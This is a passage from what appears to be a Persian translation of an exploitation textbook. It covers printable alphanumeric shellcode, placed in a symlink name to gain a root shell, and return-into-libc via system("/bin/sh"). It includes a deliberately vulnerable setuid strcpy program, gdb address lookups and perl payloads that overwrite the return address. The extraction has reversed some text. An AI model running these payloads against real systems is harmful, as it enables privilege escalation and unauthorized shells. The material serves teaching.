‫‪[b] Bridge size: 34 words‬‬
‫‪[*] Dissembling bytecode from 'tinyshell'...‬‬

‫‪[+] dissembled bytecode is 195 bytes long.‬‬


‫‪--‬‬
‫‪%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-‬‬
‫‪Ai6A-Zx%Z-‬‬
‫‪kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-‬‬
‫‪P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP‬‬
‫ﭼﻮن اﯾﻦ ﺷﻞ‪-‬ﮐﺪ در ﻧﺰدﯾﮑﯽ اﻧﺘﻬﺎی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ ،‬ﻟﺬا ﺟﻬﺖ ﺳﺎﺧﺘﻦ ﺷﻞ‪-‬ﮐﺪ واﻗﻌـﯽ ﺑﻌـﺪ از ﮐـﺪ ﺑﺎرﮔـﺬار ﺑﺎﯾـﺪ‬
‫ﻓﻀﺎی ﻻزﻣﻪ را ذﺧﯿﺮه ﮐﻨﯿﻢ‪ .‬ﭼﻮن ﻃﻮل ﺷﻞ‪-‬ﮐﺪ ‪ 31‬ﺑﺎﯾﺖ اﺳﺖ‪ ،‬ﻟﺬا ﺣﺪاﻗﻞ ﺑﺎﯾﺪ ‪ 31‬ﺑﺎﯾﺖ در اﻧﺘﻬﺎی ﺷﻞ‪-‬ﮐـﺪ ذﺧﯿـﺮه و‬
‫ﮐﻨﺎرﮔﺬاﺷﺘﻪ ﺷﻮد‪ .‬اﻣﺎ اﯾﻦ ‪ 31‬ﺑﺎﯾﺖ ﺑﺎ ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ ﭘﺸﺘﻪ ﺗﻄﺒﯿﻖ ﻧﺪارد‪ .‬ﻟـﺬا ‪ 3‬ﺑﺎﯾـﺖ اﺿـﺎﻓﻪ ﺗـﺮ ﺑـﺮای ﻫﺮﮔﻮﻧـﻪ ﻋـﺪم‬
‫ﺗﻄﺒﯿﻖ اﺣﺘﻤﺎﻟﯽ ﻧﯿﺰ در ﺷﻤﺎرش ﺧﻮد ﮐﻨﺎر ﻣﯽ ﮔﺬارﯾﻢ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ ‪ 34‬ﺑﺎﯾﺖ در اﻧﺘﻬﺎی ﭘﺸﺘﻪ ﺑﺎ اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎﯾﯽ ﮐـﻪ‬
‫ﻋﻤﻮﻻ ﺑﺮای ﺳﺎﺧﺘﻦ ﭘﻞ ‪ NOP‬ﺑﮑﺎر ﻣﯽ روﻧﺪ ذﺧﯿﺮه ﺷﺪه اﺳﺖ‪ .‬ﭼﻮن اﯾﻦ ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺑـﺮای اﯾﺠـﺎد ﯾـﮏ اﺗـﺼﺎل‬
‫ﻧﺸﺎﻧﻪ ای ﺑﺮﯾﺪه و اﻟﺼﺎق ﺧﻮاﻫﺪ ﺷﺪ‪ ،‬ﻟﺬا ﺳﻮﺋﯿﭻ ‪ –e‬ﺑﻪ ﻣﻨﻈﻮر ﻟﻐﻮ ﮐﺮدن ﻧﻘﺶ وﯾﮋه ﮐﺎراﮐﺘﺮ ‪ backslash‬ﺑﮑﺎر ﻣﯽ رود‪.‬‬
‫‪$ ln -s /hacking/cleared_stack %R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-‬‬
‫‪hAt_P-05yp--‬‬
‫‪MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-‬‬
‫‪5Ab5-‬‬
‫‪52Y7P-N8y8-S8r8P-ooOo-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP‬‬
‫*‪$ ls -l %‬‬
‫‪lrwxrwxrwx‬‬ ‫‪1 matrix‬‬ ‫‪users‬‬ ‫‪22 Aug 11 17:29 %R6HJ%-H%1-UUUU-MXXv-‬‬

‫‪105‬‬
‫‪gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-‬‬
‫‪eI3e-fHM-P-‬‬
‫‪zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-‬‬
‫‪P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack‬‬
‫‪$‬‬
‫اﮐﻨﻮن ﺗﻨﻬﺎ ﻣﺤﺎﺳﺒﻪ ﻣﮑﺎن اﺑﺘﺪای ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ و ﺑﻌﺪ ﺧﺮوج از ﺑﺮﻧﺎﻣﻪ ﺑﺎﻗﯿﻤﺎﻧﺪه اﺳﺖ‪ .‬دﯾﺒﺎﮔﺮ ﻧﺸﺎن داد ﮐﻪ اﻧﺘﻬـﺎی‬
‫ﻧﺎم ﺑﺮﻧﺎﻣﻪ در آدرس ‪ 0xbffffffb‬ﺑﻮد‪ .‬ﭼﻮن اﯾﻦ آدرس اﻧﺘﻬﺎی ﭘﺸﺘﻪ اﺳﺖ ﻟﺬا ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد‪ ،‬اﻣﺎ در ﻋﻮض اﺑﺘﺪای‬
‫ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﯾﮏ آدرس ﭘﺎﺋﯿﻦ ﺗﺮ ﺣﺎﻓﻈﻪ اﻧﺘﻘﺎل ﺧﻮاﻫﺪ ﯾﺎﻓﺖ )‪ .(shift‬ﭼﻮن ﻃﻮل ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ‪ 195‬ﺑﺎﯾﺖ اﺳـﺖ‪،‬‬
‫ﻟﺬا اﺑﺘﺪای ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ در آدرس ‪ 0xbfffff38‬ﻗﺮار ﮔﯿﺮد‪.42‬‬
‫‪$ pcalc 0xfffb - 195‬‬
‫‪65336‬‬ ‫‪0xff38‬‬ ‫‪0y1111111100111000‬‬
‫‪$ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-‬‬
‫‪xbyoP-Ai6A-‬‬
‫‪Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-‬‬
‫‪AEA3-‬‬
‫‪P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print‬‬
‫'';‪"\x38\xff\xff\xbf"x8‬‬
‫‪sh-2.05b# whoami‬‬
‫‪root‬‬
‫‪sh-2.05b#‬‬
‫ﺷﻞ‪-‬ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺗﮑﻨﯿﮑﯽ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ درﻫﺎﯾﯽ را ﺑﻪ روی ﻧﻔﻮذﮔﺮ ﺑﺎز ﮐﻨﺪ‪ .‬اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ‪ ،‬ﺗﻨﻬﺎ ﺑﻠـﻮک ﻫـﺎﯾﯽ ﺑـﺎ‬
‫ﺗﺮﮐﯿﺒﺎت و ﮐﺎرﺑﺮدﻫﺎی اﺣﺘﻤﺎﻟﯽِ ﺑﺴﯿﺎر زﯾﺎد ﻫﺴﺘﻨﺪ‪ .‬ﮐﺎرﺑﺮد اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﺑﻪ اﺑﺘﮑﺎر و ﺧﻼﻗﯿـﺖ ﺧـﻮد ﺷـﻤﺎ ﻧﯿـﺰ ﺑـﺴﺘﮕﯽ‬
‫دارد‪.‬‬

‫‪ .2,11‬ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬

‫ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻧﯿﺎز ﺑﻪ اﺟﺮا ﭼﯿﺰی روی ﭘﺸﺘﻪ ﻧﺪارد‪ ،‬ﻟﺬا ﯾﮏ دﻓﺎع ﻃﺒﯿﻌﯽ در ﺑﺮاﺑﺮ اﮐـﺴﭙﻠﻮﯾﺖ ﻫـﺎی ﺳـﺮرﯾﺰ ﺑـﺎﻓﺮ‬
‫ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا ﺑﻮدن )‪ (non-executable‬ﭘﺸﺘﻪ اﺳﺖ‪ .‬ﺑﺎ اﻧﺠﺎم اﯾﻦ ﻋﻤﻞ‪ ،‬ﺷﻞ‪-‬ﮐـﺪ در ﻫـﺮ ﻣﮑـﺎﻧﯽ از‬
‫ﭘﺸﺘﻪ ﮐﻪ ﻣﻮﺟﻮد ﺑﺎﺷﺪ ﺑﻼاﺳﺘﻔﺎده ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﯾﻦ ﻧﻮع از ﺗﮑﻨﯿﮏ ﻫﺎی دﻓـﺎﻋﯽ ﮐـﻪ ﻫـﺮ روز ﻣﺤﺒـﻮب ﺗـﺮ ﻫـﻢ ﻣـﯽ ﺷـﻮد‪،‬‬
‫ﺑﺴﯿﺎری از اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﻧﺎﮐﺎم ﻣﯽ ﮔﺬارد‪.‬‬
‫اﻟﺒﺘﻪ ﺗﮑﻨﯿﮑﯽ وﺟﻮد دارد ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﻣﻮﺟﻮد در ﯾﮏ ﻣﺤﯿﻂ ﭘﺸﺘﻪ ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا‬
‫ﺑﮑﺎر ﺑﺮد‪ .‬اﯾﻦ ﺗﮑﻨﯿﮏ ﺗﺤﺖ ﻋﻨﻮان ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪) C‬ﯾﺎ ‪ (Returning into LibC‬ﺷﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد‪ .‬ﮐﺘﺎﺑﺨﺎﻧـﻪ‬
‫‪) C‬ﯾﺎ ‪ ،(LIBC‬ﯾﮏ ﮐﺘﺎﺑﺨﺎﻧﻪ اﺳﺘﺎﻧﺪارد ‪ C‬اﺳﺖ ﮐﻪ ﺗﻮاﺑﻊ اﺻﻠﯽ ﻣﺨﺘﻠﻔﯽ را ﺷﺎﻣﻞ ﻣﯽ ﺷﻮد‪ ،‬ﻣﺜﻞ )(‪ printf‬و )(‪ .exit‬اﯾـﻦ‬
‫ﺗﻮاﺑﻊ ﺑﻪ اﺷﺘﺮاک ﮔﺬاﺷﺘﻪ ﺷﺪه اﻧﺪ‪ ،‬ﻟﺬا ﻫﺮ ﺑﺮﻧﺎﻣﻪ ﮐﻪ از ﺗﺎﺑﻊ )(‪ printf‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ ،‬روﻧﺪ اﺟﺮا را ﺑـﻪ ﻣﮑـﺎن ﻣﺮﺑﻮﻃـﻪ‬
‫در ‪ libc‬ﻫﺪاﯾﺖ ﻣﯽ ﮐﻨﺪ‪ .‬ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻫﻢ دﻗﯿﻘﺎ ﻣﯽ ﺗﻮاﻧﺪ ﻫﻤﯿﻦ ﮐﺎر را اﻧﺠﺎم داده و روﻧﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ را ﺑـﻪ ﯾـﮏ‬
‫ﺗﺎﺑﻊ ﻣﺸﺨﺺ در ‪ libc‬ﻫﺪاﯾﺖ ﮐﻨﺪ‪ .‬ﻋﺎﻣﻠﯿﺖ اﮐﺴﭙﻠﻮﯾﺖ ﺑﻪ ﺗﻮاﺑﻊ ﻣﻮﺟﻮد در ‪ libc‬ﻣﺤﺪود اﺳـﺖ‪ ،‬ﮐـﻪ اﯾـﻦ ﻣﺤـﺪودﯾﺖ در‬
‫ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﺷﻞ‪-‬ﮐﺪ دﻟﺨﻮاه ﺗﻔﺎوت و ﻣﺤﺪودﯾﺖ ﺑﺰرﮔﯽ ﺗﻠﻘﯽ ﻣﯽ ﺷﻮد‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل ﻫﯿﭻ ﭼﯿﺰ روی ﭘﺸﺘﻪ اﺟﺮا ﻧﻤﯽ ﺷﻮد‪.‬‬

‫‪ .2,11,1‬ﺑﺎزﮔﺸﺖ ﺑﻪ ﺗﺎﺑﻊ )(‪system‬‬

‫ﯾﮑﯽ از ﺳﺎده ﺗﺮﯾﻦ ﺗﻮاﺑﻊ ‪ libc‬ﮐﻪ ﻣﯽ ﺗﻮان ﺑﻪ آن ﺑﺎزﮔﺸﺖ‪ ،‬ﺗﺒﺎع )(‪ system‬اﺳـﺖ‪ .‬اﯾـﻦ ﺗـﺎﺑﻊ ﯾـﮏ آرﮔﻮﻣـﺎن واﺣـﺪ را‬
‫درﯾﺎﻓﺖ ﮐﺮده و آن آرﮔﻮﻣﺎن را ﺑﺎ ‪ /bin/sh‬اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ .‬در اﯾﻨﺠﺎ از ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ ‪ vuln2.c‬ﺑـﻪ ﻋﻨـﻮان ﻣﺜـﺎل‬
‫اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ‪.‬‬

‫‪42‬‬
‫‪0xbffffffb – 195 = 0xbfffff38‬‬
‫‪106‬‬
‫اﯾﺪه ﻧﻬﺎﯾﯽ اﯾﻦ اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ را ﺑﺎ ﺑﺮﮔﺸﺖ ﺑﻪ ﺗﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧﻪ ای )(‪ system‬و ﺑـﺪون اﺟـﺮا ﮐـﺮدن ﭼﯿـﺰی‬
‫روی ﭘﺸﺘﻪ‪ ،‬ﻣﺠﺒﻮر ﺑﻪ ﺗﻮﻟﯿﺪ ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﻨﯿﻢ‪ .‬اﮔﺮ آرﮔﻮﻣﺎن "‪ "/bin/sh‬را ﺑﻪ اﯾﻦ ﺗﺎﺑﻊ ﺑﺪﻫﯿﻢ‪ ،‬ﯾﮏ ﭘﻮﺳﺘﻪ ﺗﻮﻟﯿﺪ ﺧﻮاﻫﺪ‬
‫ﺷﺪ‪.‬‬
‫‪$ cat vuln2.c‬‬
‫)][‪int main(int argc, char *argv‬‬
‫{‬
‫;]‪char buffer[5‬‬
‫;)]‪strcpy(buffer, argv[1‬‬
‫;‪return 0‬‬
‫}‬
‫‪$ gcc -o vuln2 vuln2.c‬‬
‫‪$ sudo chown root.root vuln2‬‬
‫‪$ sudo chmod u+s vuln2‬‬
‫اﺑﺘﺪای ﻣﮑﺎن ﺗﺎﺑﻊ )(‪ system‬را ﺑﺎﯾﺪ در ‪ libc‬ﺗﻌﯿﯿﻦ ﮐﺮد‪ .‬اﯾﻦ ﻣﮑﺎن در ﻫﺮ ﺳﯿﺴﺘﻢ ﻣﺘﻔﺎوت اﺳﺖ‪ ،‬اﻣﺎ اﯾﻦ ﻣﮑﺎن ﺗﺎ زﻣﺎن‬
‫ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪن ﻣﺠﺪد ‪ libc‬ﯾﮑﺴﺎن ﺑﺎﻗﯽ ﺧﻮاﻫﻨﺪ ﻣﺎﻧﺪ‪ .‬ﯾﮑﯽ از آﺳﺎن ﺗﺮﯾﻦ راه ﻫﺎ ﺟﻬﺖ ﯾﺎﻓﺘﻦ آدرس ﯾﮏ ﺗـﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧـﻪ‬
‫ای‪ ،‬اﯾﺠﺎد ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎﺧﺘﮕﯽ و ﻫﺪف دار )‪ (dummy‬و دﯾﺒﺎگ ﮐﺮدن آن اﺳﺖ‪ ،‬در زﯾـﺮ اﯾـﻦ ﺑﺮﻧﺎﻣـﻪ را ﻣـﺸﺎﻫﺪه ﻣـﯽ‬
‫ﻧﻤﺎﯾﯿﺪ‪:‬‬
‫‪$ cat > dummy.c‬‬
‫)(‪int main‬‬
‫{‬
‫;)(‪system‬‬
‫}‬
‫‪$ gcc -o dummy dummy.c‬‬
‫‪$ gdb -q dummy‬‬
‫‪(gdb) break main‬‬
‫‪Breakpoint 1 at 0x8048406‬‬
‫‪(gdb) run‬‬
‫‪Starting program: /hacking/dummy‬‬

‫)( ‪Breakpoint 1, 0x08048406 in main‬‬


‫‪(gdb) p system‬‬
‫>‪$1 = {<text variable, no debug info>} 0x42049e54 <system‬‬
‫‪(gdb) quit‬‬
‫ﺑﺮﻧﺎﻣﻪ ﺳﺎﺧﺘﮕﯽ ﻣﺎ از ﺗﺎﺑﻊ )(‪ system‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻌﺪ از ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪن آن‪ ،‬ﺑﺮﻧﺎﻣﻪ در ﯾﮏ دﯾﺒﺎﮔﺮ ﺑﺎز ﺷـﺪه و ﯾـﮏ‬
‫ﻧﻘﻄﻪ ﺗﻮﻗﻒ در اﺑﺘﺪای آن ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ‪ .‬ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﻣﯽ ﺷﻮد‪ ،‬ﺳﭙﺲ ﻣﮑﺎن ﺗﺎﺑﻊ )(‪ system‬ﺑﻪ ﻧﻤـﺎﯾﺶ در ﻣـﯽ آﯾـﺪ‪.‬‬
‫در اﯾﻦ ﻣﻮرد ﺗﺎﺑﻊ )(‪ system‬در آدرس ‪ 0x42049e54‬واﻗﻊ ﺷﺪه اﺳﺖ‪.‬‬
‫ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ اﯾﻦ اﻃﻼﻋﺎت‪ ،‬روﻧﺪ اﺟﺮا ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﺗﺎﺑﻊ )(‪ system‬در ‪ libc‬ﻫﺪاﯾﺖ ﺷﻮد‪ .‬اﻣﺎ در اﯾﻦ ﻣـﻮرد ﻫـﺪف‬
‫ﻣﺎ ﻣﺠﺒﻮر ﮐﺮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺟﻬﺖ اﺟﺮای )"‪ system("/bin/sh‬ﺑﻪ ﻣﻨﻈﻮر اراﺋﻪ ﯾﮏ ﭘﻮﺳﺘﻪ اﺳﺖ‪ ،‬ﺑﻨﺎﺑﺮاﯾﻦ ﺑﺎﯾـﺪ‬
‫ﯾﮏ آرﮔﻮﻣﺎن )‪ (/bin/sh‬ﺑﻪ اﯾﻦ ﺗﺎﺑﻊ اراﺋﻪ ﮐﻨﯿﻢ‪ .‬ﻫﻨﮕﺎم ﺑﺎزﮔﺸﺖ ﺑﻪ ‪ ،libc‬آدرس ﺑﺮﮔﺸﺖ و آرﮔﻮﻣﺎن ﺗﺎﺑﻊ از ﭘـﺸﺘﻪ ﺑـﻪ‬
‫ﺻﻮرﺗﯽ ﺑﺎزﯾﺎﺑﯽ ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ اﺣﺘﻤﺎﻻ ﺑﺮای ﺷﻤﺎ آﺷﻨﺎ ﺧﻮاﻫﺪ ﺑﻮد‪ :‬اﺑﺘﺪا آدرس ﺑﺮﮔﺸﺖ و ﺳﭙﺲ آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﻗـﺮار‬
‫ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬روی ﭘﺸﺘﻪ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ ‪ return-into-libc‬ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ اﺳﺖ‪:‬‬

‫دﻗﯿﻘﺎ ﺑﻌﺪ از آدرس ﺗﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧﻪ ﻣﻮرد ﻧﻈﺮ‪ ،‬آدرس ﺟﺎﯾﯽ ﮐﻪ روﻧﺪ اﺟﺮا ﺑﺎﯾﺪ ﭘﺲ ﻓﺮاﺧﻮاﻧﯽ ‪ libc‬ﺑﻪ آﻧﺠﺎ ﺑﺎزﮔﺮدد ﻗﺮار‬
‫ﮔﺮﻓﺘﻪ اﺳﺖ )آدرس ﺑﺮﮔﺸﺖ(‪ .‬ﭘﺲ از آدرس ﺑﺮﮔﺸﺖ ﻧﯿﺰ ﺗﻤﺎم آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑﻪ ﺗﺮﺗﯿﺐ ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ‪.‬‬
‫در اﯾﻦ ﻣﻮرد ﻣﻬﻢ ﻧﯿﺴﺖ ﮐﻪ ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ ‪ libc‬روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺠﺎ ﺑﺎز ﻣﯿﮕﺮدد‪ ،‬ﭼﺮا ﮐﻪ ﯾﮏ ﭘﻮﺳـﺘﻪ ﺗﻌـﺎﻣﻠﯽ‬
‫ﺑﺮای ﻣﺎ ﺑﺎز ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ از اﯾﻦ ‪ 4‬ﺑﺎﯾﺖ ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺟﺎﻧﮕﻬﺪار ﺑﺮای ﻣﻘﺪار "‪ "FAKE‬اﺳﺘﻔﺎده ﮐـﺮد‪.‬‬
‫ﺗﻨﻬﺎ ﯾﮏ آرﮔﻮﻣﺎن ﺑﺮای ﺗﺎﺑﻊ وﺟﻮد دارد و آن ﯾﮏ اﺷﺎرﮔﺮ ﺑﻪ رﺷﺘﻪ ‪ /bin/sh‬اﺳﺖ‪ .‬اﯾﻦ رﺷﺘﻪ را ﻣﯽ ﺗﻮان در ﻫﺮ ﻣﮑـﺎﻧﯽ‬
‫از ﺣﺎﻓﻈﻪ ذﺧﯿﺮه ﮐﺮد‪ ،‬ﻣﺜﻼ ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﻧﺘﺨﺎب ﻣﻨﺎﺳﺒﯽ اﺳﺖ‪.‬‬
‫‪107‬‬
‫"‪$ export BINSH="/bin/sh‬‬
‫‪$ ./gtenv BINSH‬‬
‫‪BINSH is located at 0xbffffc40‬‬
‫‪$‬‬
‫ﭘﺲ آدرس ﺗﺎﺑﻊ )(‪ system‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 0x42049e54‬اﺳﺖ و آدرس رﺷﺘﻪ "‪ "/bin/sh‬ﻧﯿﺰ ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﺮاﺑﺮ‬
‫ﺑﺎ ‪ 0xbffffc40‬ﺧﻮاﻫﺪ ﺑـﻮد‪ .‬ﯾﻌﻨـﯽ آدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ ﺑﺎﯾـﺪ ﺑـﺎ ﯾـﮏ ﺳـﺮی آدرس ﺟﺎﯾﻨﻮﯾـﺴﯽ ﺷـﻮد ﮐـﻪ ﺑـﺎ‬
‫‪ 0x42049e54‬ﺷﺮوع ﺷﺪه‪ ،‬ﺑﻪ دﻧﺒﺎل آن ‪ FAKE‬آﻣﺪه )ﭼـﻮن ﻣﻬـﻢ ﻧﯿـﺴﺖ ﮐـﻪ ﭘـﺲ از ﻓﺮاﺧـﻮاﻧﯽ )(‪ system‬روﻧـﺪ‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺠﺎ ﺑﺎز ﻣﯽ ﮔﺮدد( و در اﻧﺘﻬﺎ ﻧﯿﺰ ‪ 0xbffffc40‬ﻗﺮار ﮔﺮﻓﺘﻪ ﺑﺎﺷﺪ‪.‬‬
‫در آزﻣﺎﯾﺶ ﻫﺎﯾﯽ ﮐﻪ ﻗﺒﻼ روی ﺑﺮﻧﺎﻣﻪ ‪ vuln2‬اﻧﺠﺎم داده ﺑﻮدﯾﻢ ﺑﻪ اﯾﻦ ﻧﺘﯿﺠﻪ رﺳﯿﺪﯾﻢ ﮐـﻪ آدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ‬
‫ﺑﻮاﺳﻄﻪ ﻫﺸﺖ ﮐﻠﻤﻪ از ورودی ﺑﺮﻧﺎﻣﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﻫﻔﺖ ﮐﻠﻤـﻪ از داده ﻫـﺎی ﺳـﺎﺧﺘﮕﯽ )‪ 43(dummy‬ﺻـﺮﻓﺎ‬
‫ﺑﺮای ﭘﺮ ﮐﺮدن ﻓﻀﺎ ﺑﻪ ﮐﺎر ﻣﯽ روﻧﺪ‪.‬‬
‫‪$ ./vuln2 'perl -e 'print "ABCD"x7 .‬‬
‫'';"‪"\x54\x9e\x04\x42FAKE\x40\xfc\xff\xbf‬‬
‫‪sh-2.05a$ id‬‬
‫)‪uid=500(matrix) gid=500(matrix) groups=500(matrix‬‬
‫‪sh-2.05a$ exit‬‬
‫‪exit‬‬
‫‪Segmentation fault‬‬
‫‪$ ls -l vuln2‬‬
‫‪-rwsrwxr-x‬‬ ‫‪1 root‬‬ ‫‪root‬‬ ‫‪13508 Apr 16 22:10 vuln2‬‬
‫‪$‬‬
‫ﻓﺮاﺧﻮاﻧﯽ )(‪ system‬ﮐﺎر ﮐﺮد‪ ،‬اﻣﺎ اﮔﺮﭼﻪ ﺑﺮﻧﺎﻣﻪ ‪ vuln2‬ﺑﻪ ﺻﻮرت ‪ suid root‬ﺑﻮد‪ ،‬وﻟﯽ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻣﺎ اﻋﻄـﺎ ﻧـﺸﺪ‪.‬‬
‫دﻟﯿﻞ آن اﺳﺖ ﮐﻪ ﺗﺎﺑﻊ )(‪ system‬ﻫﻤﻪ ﭼﯿﺰ را از ﻃﺮﯾﻖ ‪ /bin/sh‬اﺟﺮا ﻣﯽ ﮐﻨﺪ و اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﺒﺐ ﺣﺬف ﺳﻄﺢ اﺧﺘﯿﺎرات‬
‫ﻣﯽ ﮔﺮدد‪ .‬ﺑﺎﯾﺪ راﻫﯽ ﺑﺮای ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ اﯾﻦ ﻣﺸﮑﻞ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪.‬‬

‫‪ .2,11,2‬زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬

‫در ﭘﺴﺘﯽ در ‪ ،BugTraq‬آﻗﺎی ‪ Solar Designer‬زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ‪ libc‬را ﭘﯿﺸﻨﻬﺎد ﮐﺮدﻧﺪ‪ ،‬ﺑﻨﺎﺑﺮاﯾﻦ ﻗﺒـﻞ‬
‫)(‪ system‬ﺗﺎﺑﻊ )(‪ setuid‬ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ زﻧﺠﯿﺮه را ﻣﯽ ﺗـﻮان ﺑـﺎ ﺳـﻮ اﺳـﺘﻔﺎده از‬
‫ﻣﻘﺪار آدرس ﺑﺮﮔﺸﺖ ﮐﻪ ﻣﻮرد ﻏﻔﻠﺖ واﻗﻊ ﺷﺪ اﯾﺠﺎد ﮐﺮد‪ .‬ﺳﺮی آدرس ﻫﺎی زﯾﺮ ﯾﮏ ﻓﺮاﺧـﻮاﻧﯽ را از ﺗـﺎﺑﻊ )(‪setuid‬‬
‫ﺑﻪ )(‪ system‬زﻧﺠﯿﺮه ﻣﯽ ﮐﻨﻨﺪ )‪ (chain‬ﮐﻪ در ﻋﮑﺲ زﯾﺮ ﻣﺸﻬﻮد اﺳﺖ‪:‬‬

